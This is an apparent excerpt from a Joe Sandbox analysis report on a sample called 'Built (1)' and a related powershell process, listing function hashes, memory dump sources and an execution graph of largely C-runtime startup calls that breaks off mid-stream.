                                              • Source File: 00000001.00000002.1908338431.00007FFE11EA1000.00000040.00000001.01000000.00000011.sdmp, Offset: 00007FFE11EA0000, based on PE: true
                                              • Associated: 00000001.00000002.1908309495.00007FFE11EA0000.00000002.00000001.01000000.00000011.sdmpDownload File
                                              • Associated: 00000001.00000002.1908338431.00007FFE11EAE000.00000040.00000001.01000000.00000011.sdmpDownload File
                                              • Associated: 00000001.00000002.1908338431.00007FFE11EB1000.00000040.00000001.01000000.00000011.sdmpDownload File
                                              • Associated: 00000001.00000002.1908465592.00007FFE11EB2000.00000080.00000001.01000000.00000011.sdmpDownload File
                                              • Associated: 00000001.00000002.1908493886.00007FFE11EB3000.00000004.00000001.01000000.00000011.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffe11ea0000_Built (1).jbxd
                                              Similarity
                                              • API ID: 00007B411
                                              • String ID: key is too long.$msg is too long.
                                              • API String ID: 1997642522-4266787399
                                              • Opcode ID: 005e8237f4e00918493938e0dacf9cb9541fb45e7286148666fbfcb2e30a85f0
                                              • Instruction ID: a5156b5c588c286677cfe20577f4fcf91a4f9f431d90c99adbfccd0607bbf5b3
                                              • Opcode Fuzzy Hash: 005e8237f4e00918493938e0dacf9cb9541fb45e7286148666fbfcb2e30a85f0
                                              • Instruction Fuzzy Hash: 65311E26A0CF8286EB20CB52F85437A73A9FF99BA4F514275EA4D46B64DF3CE0458700
                                              Function 00007FFE00768000 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68timeCOMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907813875.00007FFE00761000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFE00760000, based on PE: true
                                              • Associated: 00000001.00000002.1907788353.00007FFE00760000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE007E2000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE007E4000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE0080C000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE00817000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE00822000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1908035090.00007FFE00826000.00000080.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1908066472.00007FFE00828000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffe00760000_Built (1).jbxd
                                              Similarity
                                              • API ID: Time$System$File
                                              • String ID: gfff
                                              • API String ID: 2838179519-1553575800
                                              • Opcode ID: c968c355feb94c5b440177db6edb28bb9214d3af88eb205657e6bed885a85f80
                                              • Instruction ID: a7ce2b8eca7a41e3f5be63fbc8a2b17271cae2b3d0c4325e8b620d09b01e24e5
                                              • Opcode Fuzzy Hash: c968c355feb94c5b440177db6edb28bb9214d3af88eb205657e6bed885a85f80
                                              • Instruction Fuzzy Hash: 5221F572A09687C5DB94DF29D4003B976E4FB88B84F488536DB4E87768DE3CD1448B01
                                              Function 00007FFE00768A20 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 35timeCOMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907813875.00007FFE00761000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFE00760000, based on PE: true
                                              • Associated: 00000001.00000002.1907788353.00007FFE00760000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE007E2000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE007E4000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE0080C000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE00817000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE00822000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1908035090.00007FFE00826000.00000080.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1908066472.00007FFE00828000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffe00760000_Built (1).jbxd
                                              Similarity
                                              • API ID: Time$System$File
                                              • String ID: gfff
                                              • API String ID: 2838179519-1553575800
                                              • Opcode ID: 87700e89d8ba6b4a25f8f512b81ccb7933ee874b46122ca3b6fab96fdd1adfda
                                              • Instruction ID: 73c2e948f3fc005d97e0dd794bcebb87770f04e5143c5da4de870dffaf7d4e11
                                              • Opcode Fuzzy Hash: 87700e89d8ba6b4a25f8f512b81ccb7933ee874b46122ca3b6fab96fdd1adfda
                                              • Instruction Fuzzy Hash: 3601AEE2B18A8582DF50DB25F81159967E5FBCC794B449032E74EC777DEE2CD2418B40

                                              Executed Functions

                                              Function 00007FFD9AC53DB1 Relevance: .9, Instructions: 905COMMON
                                              Download Yara Rule
                                              Memory Dump Source
                                              • Source File: 00000008.00000002.1832026784.00007FFD9AC50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9AC50000, based on PE: false
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_8_2_7ffd9ac50000_powershell.jbxd
                                              Similarity
                                              • API ID:
                                              • String ID:
                                              • API String ID:
                                              • Opcode ID: e4962f5a003090a4ec9f570efcf50ebc5d587231cc11689877201c800e18a034
                                              • Instruction ID: e94b6d415cb15d051a58dc5dd8e942543d8e70e7a3514f0ee0c633045b829afc
                                              • Opcode Fuzzy Hash: e4962f5a003090a4ec9f570efcf50ebc5d587231cc11689877201c800e18a034
                                              • Instruction Fuzzy Hash: B0425B27B0DB865FE76A97AC58751783BE2EF96210B1901FBE08DCB1D3DD18AC068351
                                              Function 00007FFD9AB860C5 Relevance: .6, Instructions: 642COMMON
                                              Download Yara Rule
                                              Memory Dump Source
                                              • Source File: 00000008.00000002.1830972883.00007FFD9AB80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9AB80000, based on PE: false
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_8_2_7ffd9ab80000_powershell.jbxd
                                              Similarity
                                              • API ID:
                                              • String ID:
                                              • API String ID:
                                              • Opcode ID: 1e809e9a936df3a0f8086c621d715d744665a5142bd9b430c698f497f70fdeb2
                                              • Instruction ID: c31c5ee4ba490d34b5716c160135e7ea4f6af6004db37fada4c47dcd90b0eaa5
                                              • Opcode Fuzzy Hash: 1e809e9a936df3a0f8086c621d715d744665a5142bd9b430c698f497f70fdeb2
                                              • Instruction Fuzzy Hash: 02C1E517F0D2934EE31577ACB4B64F93B60DF82229B0841F7D19C890EBDD29684E86D1
                                              Function 00007FFD9AC567F5 Relevance: .4, Instructions: 437COMMON
                                              Download Yara Rule
                                              Memory Dump Source
                                              • Source File: 00000008.00000002.1832026784.00007FFD9AC50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9AC50000, based on PE: false
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_8_2_7ffd9ac50000_powershell.jbxd
                                              Similarity
                                              • API ID:
                                              • String ID:
                                              • API String ID:
                                              • Opcode ID: 1e955510a635c45b7e7a69ee47d034ea8d16089f8eafd403f18b3816b4419e33
                                              • Instruction ID: 80d4e740e8752ae368b5e33053170377fdd4e2c48481e4d8ff49d71a6022ec10
                                              • Opcode Fuzzy Hash: 1e955510a635c45b7e7a69ee47d034ea8d16089f8eafd403f18b3816b4419e33
                                              • Instruction Fuzzy Hash: 37D12737A0DA8A0FEBA99BA858755B97BE0EF55310B0C01FEF05DCB1D3DA19A805C351
                                              Function 00007FFD9AC544E0 Relevance: .4, Instructions: 419COMMON
                                              Download Yara Rule
                                              Memory Dump Source
                                              • Source File: 00000008.00000002.1832026784.00007FFD9AC50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9AC50000, based on PE: false
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_8_2_7ffd9ac50000_powershell.jbxd
                                              Similarity
                                              • API ID:
                                              • String ID:
                                              • API String ID:
                                              • Opcode ID: 737ee05ecbb0cc93bc6ae17944e767b5a611d4249b26f7be2f96df60293f6346
                                              • Instruction ID: 885b4e81dcabb7557725e0a3e879817444e83fae988cdfe5b436da40a121dc97
                                              • Opcode Fuzzy Hash: 737ee05ecbb0cc93bc6ae17944e767b5a611d4249b26f7be2f96df60293f6346
                                              • Instruction Fuzzy Hash: 3EC12767A0E7C65FE76A97A858395B83FE1EF52210B0901FBE09DCB1D3D9186C06C351
                                              Function 00007FFD9AB8B830 Relevance: .3, Instructions: 275COMMON
                                              Download Yara Rule
                                              Memory Dump Source
                                              • Source File: 00000008.00000002.1830972883.00007FFD9AB80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9AB80000, based on PE: false
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_8_2_7ffd9ab80000_powershell.jbxd
                                              Similarity
                                              • API ID:
                                              • String ID:
                                              • API String ID:
                                              • Opcode ID: b0442d1a714207831398798df4b1829c63487dd1dca8a454bf3230640ba4f88d
                                              • Instruction ID: 86f4c5a1a118acf5240f83a682ae1fe5d030c7b53845cd0782b658b323c0411f
                                              • Opcode Fuzzy Hash: b0442d1a714207831398798df4b1829c63487dd1dca8a454bf3230640ba4f88d
                                              • Instruction Fuzzy Hash: B581273161CB494FD799DF6CC8A9AB97BE0EF95320F0401BED08AC7197DA35A846CB41
                                              Function 00007FFD9AB8A0BF Relevance: .1, Instructions: 142COMMON
                                              Download Yara Rule
                                              Memory Dump Source
                                              • Source File: 00000008.00000002.1830972883.00007FFD9AB80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9AB80000, based on PE: false
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_8_2_7ffd9ab80000_powershell.jbxd
                                              Similarity
                                              • API ID:
                                              • String ID:
                                              • API String ID:
                                              • Opcode ID: 289a110eb935a27d89d40a3d1e454a18ab45633dd233c8d2619e03a4a3cfa361
                                              • Instruction ID: c78da65252219a65a1ddf49af73a888cbec40ce203927f9345119f746679a87b
                                              • Opcode Fuzzy Hash: 289a110eb935a27d89d40a3d1e454a18ab45633dd233c8d2619e03a4a3cfa361
                                              • Instruction Fuzzy Hash: 3D418B22A4D6C78ED31677ACA8F51F57F60EF12218B0C42F7D09C8E0E7DD2918499B96
                                              Function 00007FFD9AA6E380 Relevance: .1, Instructions: 128COMMON
                                              Download Yara Rule
                                              Memory Dump Source
                                              • Source File: 00000008.00000002.1829814628.00007FFD9AA6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9AA6D000, based on PE: false
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_8_2_7ffd9aa6d000_powershell.jbxd
                                              Similarity
                                              • API ID:
                                              • String ID:
                                              • API String ID:
                                              • Opcode ID: a7eb71566c338584ce0b47f239ae372d31c62a06e0ae01d0729dc63f5eb549d1
                                              • Instruction ID: 2c50c19350cd408b1681c42d1df577d7d1cb8a45873429e2b31fe926b99a915c
                                              • Opcode Fuzzy Hash: a7eb71566c338584ce0b47f239ae372d31c62a06e0ae01d0729dc63f5eb549d1
                                              • Instruction Fuzzy Hash: 6F41237150DBC44FE76A9B3898559523FF0EF52324B1905EFD088CB1A3D625AC4ACBA2
                                              Function 00007FFD9AB898AC Relevance: .1, Instructions: 111COMMON
                                              Download Yara Rule
                                              Memory Dump Source
                                              • Source File: 00000008.00000002.1830972883.00007FFD9AB80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9AB80000, based on PE: false
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_8_2_7ffd9ab80000_powershell.jbxd
                                              Similarity
                                              • API ID:
                                              • String ID:
                                              • API String ID:
                                              • Opcode ID: 2aac321b52c083f93fd5f5b5761bbd6e608cb75aefb9a339e1a68f4f71371909
                                              • Instruction ID: cd0b600c093041be5de414afa0bfe4e75b7047755e0d5d5c6dbb273f8736020b
                                              • Opcode Fuzzy Hash: 2aac321b52c083f93fd5f5b5761bbd6e608cb75aefb9a339e1a68f4f71371909
                                              • Instruction Fuzzy Hash: 8A319131A1CB4C8FDB1CDB5CA84A6A97BE0FB99721F00422FE449D3251DA71A8558BC2
                                              Function 00007FFD9AC5429F Relevance: .1, Instructions: 99COMMON
                                              Download Yara Rule
                                              Memory Dump Source
                                              • Source File: 00000008.00000002.1832026784.00007FFD9AC50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9AC50000, based on PE: false
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_8_2_7ffd9ac50000_powershell.jbxd
                                              Similarity
                                              • API ID:
                                              • String ID:
                                              • API String ID:
                                              • Opcode ID: a93ec348caeeaae0d5f909ceb0d9fcf5353796155919fe2808983beed3214376
                                              • Instruction ID: 395f946d79b5ed92ecb201ccf150584b572c5f11807da08d7a8878d3206f93ca
                                              • Opcode Fuzzy Hash: a93ec348caeeaae0d5f909ceb0d9fcf5353796155919fe2808983beed3214376
                                              • Instruction Fuzzy Hash: 8721F52BB1EA572FE7BDDA9C997113876D2EF54210B5910FAE05ECB1E2CE18EC008341
                                              Function 00007FFD9AC5459C Relevance: .1, Instructions: 64COMMON
                                              Download Yara Rule
                                              Memory Dump Source
                                              • Source File: 00000008.00000002.1832026784.00007FFD9AC50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9AC50000, based on PE: false
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_8_2_7ffd9ac50000_powershell.jbxd
                                              Similarity
                                              • API ID:
                                              • String ID:
                                              • API String ID:
                                              • Opcode ID: f51b38e38415cd6103254b97262f287c8fea907f939314e1ecbf3115f0e4d070
                                              • Instruction ID: dfffed4608602f516fac1c669d62de5a95789ec31ceed8a57033786c3e578751
                                              • Opcode Fuzzy Hash: f51b38e38415cd6103254b97262f287c8fea907f939314e1ecbf3115f0e4d070
                                              • Instruction Fuzzy Hash: 9311E337B0E9465FEBB9DB9894745B877D2EF00220B5910F6E05DCB496D919AC008741
                                              Function 00007FFD9AB833B5 Relevance: .0, Instructions: 49COMMON
                                              Download Yara Rule
                                              Memory Dump Source
                                              • Source File: 00000008.00000002.1830972883.00007FFD9AB80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9AB80000, based on PE: false
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_8_2_7ffd9ab80000_powershell.jbxd
                                              Similarity
                                              • API ID:
                                              • String ID:
                                              • API String ID:
                                              • Opcode ID: 89cf490454d7bf4db362622e3d2b8a85fcc481bc01f27d3ca7e3566b79ed4113
                                              • Instruction ID: b0bb055cca1cd8bf842de96d752170a542bc59a509ac46a470f14adf0b2fb962
                                              • Opcode Fuzzy Hash: 89cf490454d7bf4db362622e3d2b8a85fcc481bc01f27d3ca7e3566b79ed4113
                                              • Instruction Fuzzy Hash: A101677121CB0D4FD748EF0CE451AA5B7E0FB99364F10056DE58AC3695DA36E882CB45

                                              Non-executed Functions

                                              Function 00007FFD9AB88BD3 Relevance: 7.6, Strings: 6, Instructions: 108COMMON
                                              Download Yara Rule
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000008.00000002.1830972883.00007FFD9AB80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9AB80000, based on PE: false
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_8_2_7ffd9ab80000_powershell.jbxd
                                              Similarity
                                              • API ID:
                                              • String ID: L_^?$L_^@$L_^K$L_^N$L_^T$L_^Y
                                              • API String ID: 0-2042962386
                                              • Opcode ID: df03d33db9f2e7e394618d63224032f0974d36a1fe3434d4a203dfe2fbe5ff6b
                                              • Instruction ID: a4bd2d2e27b296f9cfaa8475c7f8d8216216e58b8f1e127a68e51a7bd44163a4
                                              • Opcode Fuzzy Hash: df03d33db9f2e7e394618d63224032f0974d36a1fe3434d4a203dfe2fbe5ff6b
                                              • Instruction Fuzzy Hash: 9E2131237088260EC30936FDBC529FC3341DF9527534451F2D269CE19BDE26A88B8ED0

                                              Execution Graph

                                              Execution Coverage:7.3%
                                              Dynamic/Decrypted Code Coverage:0%
                                              Signature Coverage:0.5%
                                              Total number of Nodes:1170
                                              Total number of Limit Nodes:29
                                              execution_graph 38225 7ff70f3d9c74 38226 7ff70f3d9c7c 38225->38226 38227 7ff70f3d9cbb 38226->38227 38229 7ff70f3d9cac 38226->38229 38228 7ff70f3d9cc5 38227->38228 38247 7ff70f3dce08 32 API calls 2 library calls 38227->38247 38234 7ff70f3d4b8c 38228->38234 38246 7ff70f3d4f3c 15 API calls abort 38229->38246 38232 7ff70f3d9cb1 __scrt_fastfail 38235 7ff70f3d4ba1 38234->38235 38236 7ff70f3d4bab 38234->38236 38248 7ff70f3d4ab4 38235->38248 38238 7ff70f3d4bb0 38236->38238 38241 7ff70f3d4bb7 __vcrt_getptd_noexit 38236->38241 38255 7ff70f3d4a74 38238->38255 38240 7ff70f3d4bf6 38264 7ff70f3d4f3c 15 API calls abort 38240->38264 38241->38240 38244 7ff70f3d4be0 RtlReAllocateHeap 38241->38244 38261 7ff70f3d36c0 38241->38261 38243 7ff70f3d4ba9 38243->38232 38244->38241 38244->38243 38246->38232 38247->38228 38249 7ff70f3d4aff 38248->38249 38253 7ff70f3d4ac3 __vcrt_getptd_noexit 38248->38253 38265 7ff70f3d4f3c 15 API calls abort 38249->38265 38251 7ff70f3d4ae6 RtlAllocateHeap 38252 7ff70f3d4afd 38251->38252 38251->38253 38252->38243 38253->38249 38253->38251 38254 7ff70f3d36c0 new 2 API calls 38253->38254 38254->38253 38256 7ff70f3d4a79 RtlRestoreThreadPreferredUILanguages 38255->38256 38260 7ff70f3d4aa9 __vcrt_getptd_noexit 38255->38260 38257 7ff70f3d4a94 38256->38257 38256->38260 38266 7ff70f3d4f3c 15 API calls abort 38257->38266 38259 7ff70f3d4a99 GetLastError 38259->38260 38260->38243 38267 7ff70f3d3700 38261->38267 38264->38243 38265->38252 38266->38259 38272 7ff70f3d6938 EnterCriticalSection 38267->38272 38269 7ff70f3d370d 38270 7ff70f3d6998 abort LeaveCriticalSection 38269->38270 38271 7ff70f3d36d2 38270->38271 38271->38241 38273 7ff70f3d2450 38280 7ff70f3d3734 38273->38280 38275 7ff70f3d2455 38276 7ff70f3d6998 abort LeaveCriticalSection 38275->38276 38277 7ff70f3d2460 38276->38277 38278 7ff70f3d246c 38277->38278 38279 7ff70f3d2488 11 API calls 38277->38279 38279->38278 38285 7ff70f3d5630 GetLastError 38280->38285 38282 7ff70f3d373f 38305 7ff70f3d4a1c 35 API calls abort 38282->38305 38286 7ff70f3d564d 38285->38286 38287 7ff70f3d5652 38285->38287 38306 7ff70f3d6cf4 6 API calls __vcrt_uninitialize_ptd 38286->38306 38292 7ff70f3d569b 38287->38292 38307 7ff70f3d4b14 15 API calls 3 library calls 38287->38307 38290 7ff70f3d5669 38291 7ff70f3d5671 38290->38291 38308 7ff70f3d6d4c 6 API calls __vcrt_uninitialize_ptd 38290->38308 38297 7ff70f3d4a74 __vcrt_getptd_noexit 15 API calls 38291->38297 38294 7ff70f3d56b6 SetLastError 38292->38294 38295 7ff70f3d56a0 SetLastError 38292->38295 38310 7ff70f3d4a1c 35 API calls abort 38294->38310 38295->38282 38300 7ff70f3d5678 38297->38300 38298 7ff70f3d5688 38298->38291 38301 7ff70f3d568f 38298->38301 38300->38294 38309 7ff70f3d53e0 15 API calls abort 38301->38309 38303 7ff70f3d5694 38304 7ff70f3d4a74 __vcrt_getptd_noexit 15 API calls 38303->38304 38304->38292 38306->38287 38307->38290 38308->38298 38309->38303 38311 7ff70f3ba924 38312 7ff70f3ba949 sprintf 38311->38312 38313 7ff70f3ba97f CompareStringA 38312->38313 38314 7ff70f3cb0fc 38333 7ff70f3caa8c 38314->38333 38318 7ff70f3cb123 __scrt_acquire_startup_lock 38319 7ff70f3cb148 38318->38319 38389 7ff70f3cb52c 7 API calls __scrt_fastfail 38318->38389 38323 7ff70f3cb169 __scrt_is_nonwritable_in_current_image __scrt_release_startup_lock 38319->38323 38341 7ff70f3d472c 38319->38341 38322 7ff70f3cb16d 38323->38322 38324 7ff70f3cb1f7 38323->38324 38390 7ff70f3d2574 35 API calls __BuildCatchObjectHelper 38323->38390 38345 7ff70f3d3fc4 38324->38345 38331 7ff70f3cb220 38391 7ff70f3cac64 8 API calls 2 library calls 38331->38391 38334 7ff70f3caaae __isa_available_init 38333->38334 38392 7ff70f3ce2f8 38334->38392 38337 7ff70f3caab7 38337->38318 38388 7ff70f3cb52c 7 API calls __scrt_fastfail 38337->38388 38343 7ff70f3d4744 38341->38343 38342 7ff70f3d4766 38342->38323 38343->38342 38441 7ff70f3cb010 38343->38441 38346 7ff70f3d3fd4 38345->38346 38347 7ff70f3cb20c 38345->38347 38526 7ff70f3d3c84 38346->38526 38349 7ff70f3a7e20 38347->38349 38558 7ff70f3bb470 GetModuleHandleW 38349->38558 38355 7ff70f3a7e58 SetErrorMode GetModuleHandleW 38356 7ff70f3b48cc 21 API calls 38355->38356 38357 7ff70f3a7e7d 38356->38357 38358 7ff70f3b3e48 137 API calls 38357->38358 38359 7ff70f3a7e90 38358->38359 38360 7ff70f383d3c 126 API calls 38359->38360 38361 7ff70f3a7e9c 38360->38361 38362 7ff70f3ca444 new RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 38361->38362 38363 7ff70f3a7ead 38362->38363 38364 7ff70f3a7ebf 38363->38364 38365 7ff70f383f18 70 API calls 38363->38365 38366 7ff70f384d1c 157 API calls 38364->38366 38365->38364 38367 7ff70f3a7ed6 38366->38367 38368 7ff70f3a7eef 38367->38368 38369 7ff70f386ad0 154 API calls 38367->38369 38370 7ff70f384d1c 157 API calls 38368->38370 38371 7ff70f3a7ee7 38369->38371 38372 7ff70f3a7eff 38370->38372 38373 7ff70f384e48 160 API calls 38371->38373 38374 7ff70f3a7f0d 38372->38374 38376 7ff70f3a7f14 38372->38376 38373->38368 38375 7ff70f3bb650 CreateEventW CloseHandle CreateEventW GetLastError CloseHandle 38374->38375 38375->38376 38377 7ff70f384888 58 API calls 38376->38377 38378 7ff70f3a7f57 38377->38378 38379 7ff70f384fd0 268 API calls 38378->38379 38380 7ff70f3a7f5f 38379->38380 38381 7ff70f3a7f9e 38380->38381 38382 7ff70f3a7f8c 38380->38382 38386 7ff70f3cb684 GetModuleHandleW 38381->38386 38383 7ff70f3bb650 CreateEventW CloseHandle CreateEventW GetLastError CloseHandle 38382->38383 38384 7ff70f3a7f93 38383->38384 38384->38381 38385 7ff70f3bb57c 14 API calls 38384->38385 38385->38381 38387 7ff70f3cb698 38386->38387 38387->38331 38388->38318 38389->38319 38390->38324 38391->38322 38393 7ff70f3ce301 __vcrt_initialize_pure_virtual_call_handler __vcrt_initialize_winapi_thunks 38392->38393 38405 7ff70f3ceb08 38393->38405 38396 7ff70f3caab3 38396->38337 38400 7ff70f3d45e4 38396->38400 38398 7ff70f3ce318 38398->38396 38412 7ff70f3ceb50 DeleteCriticalSection 38398->38412 38401 7ff70f3d9d4c 38400->38401 38402 7ff70f3caac0 38401->38402 38429 7ff70f3d66c0 38401->38429 38402->38337 38404 7ff70f3ce32c 8 API calls 3 library calls 38402->38404 38404->38337 38407 7ff70f3ceb10 38405->38407 38408 7ff70f3ceb41 38407->38408 38409 7ff70f3ce30b 38407->38409 38413 7ff70f3ce678 38407->38413 38418 7ff70f3ceb50 DeleteCriticalSection 38408->38418 38409->38396 38411 7ff70f3ce8a4 8 API calls 3 library calls 38409->38411 38411->38398 38412->38396 38419 7ff70f3ce34c 38413->38419 38416 7ff70f3ce6cf InitializeCriticalSectionAndSpinCount 38417 7ff70f3ce6bb 38416->38417 38417->38407 38418->38409 38420 7ff70f3ce3b2 38419->38420 38424 7ff70f3ce3ad 38419->38424 38420->38416 38420->38417 38421 7ff70f3ce47a 38421->38420 38423 7ff70f3ce489 GetProcAddress 38421->38423 38422 7ff70f3ce3e5 LoadLibraryExW 38422->38424 38425 7ff70f3ce40b GetLastError 38422->38425 38423->38420 38426 7ff70f3ce4a1 38423->38426 38424->38420 38424->38421 38424->38422 38428 7ff70f3ce458 FreeLibrary 38424->38428 38425->38424 38427 7ff70f3ce416 LoadLibraryExW 38425->38427 38426->38420 38427->38424 38428->38424 38440 7ff70f3d6938 EnterCriticalSection 38429->38440 38431 7ff70f3d66d0 38432 7ff70f3d8050 32 API calls 38431->38432 38433 7ff70f3d66d9 38432->38433 38434 7ff70f3d66e7 38433->38434 38435 7ff70f3d64d0 34 API calls 38433->38435 38436 7ff70f3d6998 abort LeaveCriticalSection 38434->38436 38438 7ff70f3d66e2 38435->38438 38437 7ff70f3d66f3 38436->38437 38437->38401 38439 7ff70f3d65bc GetStdHandle GetFileType 38438->38439 38439->38434 38442 7ff70f3cb020 pre_c_initialization 38441->38442 38462 7ff70f3d2b00 38442->38462 38444 7ff70f3cb02c pre_c_initialization 38468 7ff70f3caad8 38444->38468 38446 7ff70f3cb045 38447 7ff70f3cb0b5 38446->38447 38448 7ff70f3cb049 _RTC_Initialize 38446->38448 38505 7ff70f3cb52c 7 API calls __scrt_fastfail 38447->38505 38473 7ff70f3cace0 38448->38473 38450 7ff70f3cb0bf 38506 7ff70f3cb52c 7 API calls __scrt_fastfail 38450->38506 38453 7ff70f3cb05a pre_c_initialization 38476 7ff70f3d3b0c 38453->38476 38454 7ff70f3cb0ca __scrt_initialize_default_local_stdio_options 38454->38343 38457 7ff70f3cb06a 38504 7ff70f3cb7dc RtlInitializeSListHead 38457->38504 38459 7ff70f3cb06f pre_c_initialization __InternalCxxFrameHandler 38460 7ff70f3d4818 pre_c_initialization 35 API calls 38459->38460 38461 7ff70f3cb09a pre_c_initialization 38460->38461 38461->38343 38463 7ff70f3d2b11 38462->38463 38465 7ff70f3d2b19 38463->38465 38507 7ff70f3d4f3c 15 API calls abort 38463->38507 38465->38444 38466 7ff70f3d2b28 38508 7ff70f3d4e1c 31 API calls _invalid_parameter_noinfo 38466->38508 38469 7ff70f3cab96 38468->38469 38472 7ff70f3caaf0 __scrt_initialize_onexit_tables __scrt_release_startup_lock 38468->38472 38509 7ff70f3cb52c 7 API calls __scrt_fastfail 38469->38509 38471 7ff70f3caba0 38472->38446 38510 7ff70f3cac90 38473->38510 38475 7ff70f3cace9 38475->38453 38477 7ff70f3d3b40 38476->38477 38478 7ff70f3d3b2a 38476->38478 38517 7ff70f3d9370 38477->38517 38515 7ff70f3d4f3c 15 API calls abort 38478->38515 38481 7ff70f3d3b2f 38516 7ff70f3d4e1c 31 API calls _invalid_parameter_noinfo 38481->38516 38484 7ff70f3d3b72 38521 7ff70f3d38ec 35 API calls pre_c_initialization 38484->38521 38485 7ff70f3cb066 38485->38450 38485->38457 38487 7ff70f3d3b9c 38522 7ff70f3d3aa8 15 API calls __vcrt_getptd_noexit 38487->38522 38489 7ff70f3d3bb2 38490 7ff70f3d3bcb 38489->38490 38491 7ff70f3d3bba 38489->38491 38524 7ff70f3d38ec 35 API calls pre_c_initialization 38490->38524 38523 7ff70f3d4f3c 15 API calls abort 38491->38523 38494 7ff70f3d4a74 __vcrt_getptd_noexit 15 API calls 38494->38485 38495 7ff70f3d3be7 38496 7ff70f3d3c30 38495->38496 38497 7ff70f3d3c17 38495->38497 38501 7ff70f3d3bbf 38495->38501 38499 7ff70f3d4a74 __vcrt_getptd_noexit 15 API calls 38496->38499 38498 7ff70f3d4a74 __vcrt_getptd_noexit 15 API calls 38497->38498 38500 7ff70f3d3c20 38498->38500 38499->38501 38502 7ff70f3d4a74 __vcrt_getptd_noexit 15 API calls 38500->38502 38501->38494 38503 7ff70f3d3c2c 38502->38503 38503->38485 38505->38450 38506->38454 38507->38466 38508->38465 38509->38471 38511 7ff70f3cacbf 38510->38511 38513 7ff70f3cacb5 _onexit 38510->38513 38514 7ff70f3d4434 34 API calls _onexit 38511->38514 38513->38475 38514->38513 38515->38481 38516->38485 38518 7ff70f3d3b45 GetModuleFileNameA 38517->38518 38519 7ff70f3d937d 38517->38519 38518->38484 38525 7ff70f3d91b0 48 API calls 6 library calls 38519->38525 38521->38487 38522->38489 38523->38501 38524->38495 38525->38518 38527 7ff70f3d3ca1 38526->38527 38528 7ff70f3d3c98 38526->38528 38527->38347 38528->38527 38532 7ff70f3d3ccc 38528->38532 38533 7ff70f3d3ce5 38532->38533 38541 7ff70f3d3caa 38532->38541 38534 7ff70f3d9370 pre_c_initialization 48 API calls 38533->38534 38535 7ff70f3d3cea 38534->38535 38545 7ff70f3d978c GetEnvironmentStringsW 38535->38545 38538 7ff70f3d3cf7 38540 7ff70f3d4a74 __vcrt_getptd_noexit 15 API calls 38538->38540 38540->38541 38541->38527 38544 7ff70f3d3e78 17 API calls __vcrt_getptd_noexit 38541->38544 38542 7ff70f3d3d04 38543 7ff70f3d4a74 __vcrt_getptd_noexit 15 API calls 38542->38543 38543->38538 38544->38527 38546 7ff70f3d985e 38545->38546 38547 7ff70f3d97ba WideCharToMultiByte 38545->38547 38549 7ff70f3d3cef 38546->38549 38550 7ff70f3d9868 FreeEnvironmentStringsW 38546->38550 38547->38546 38551 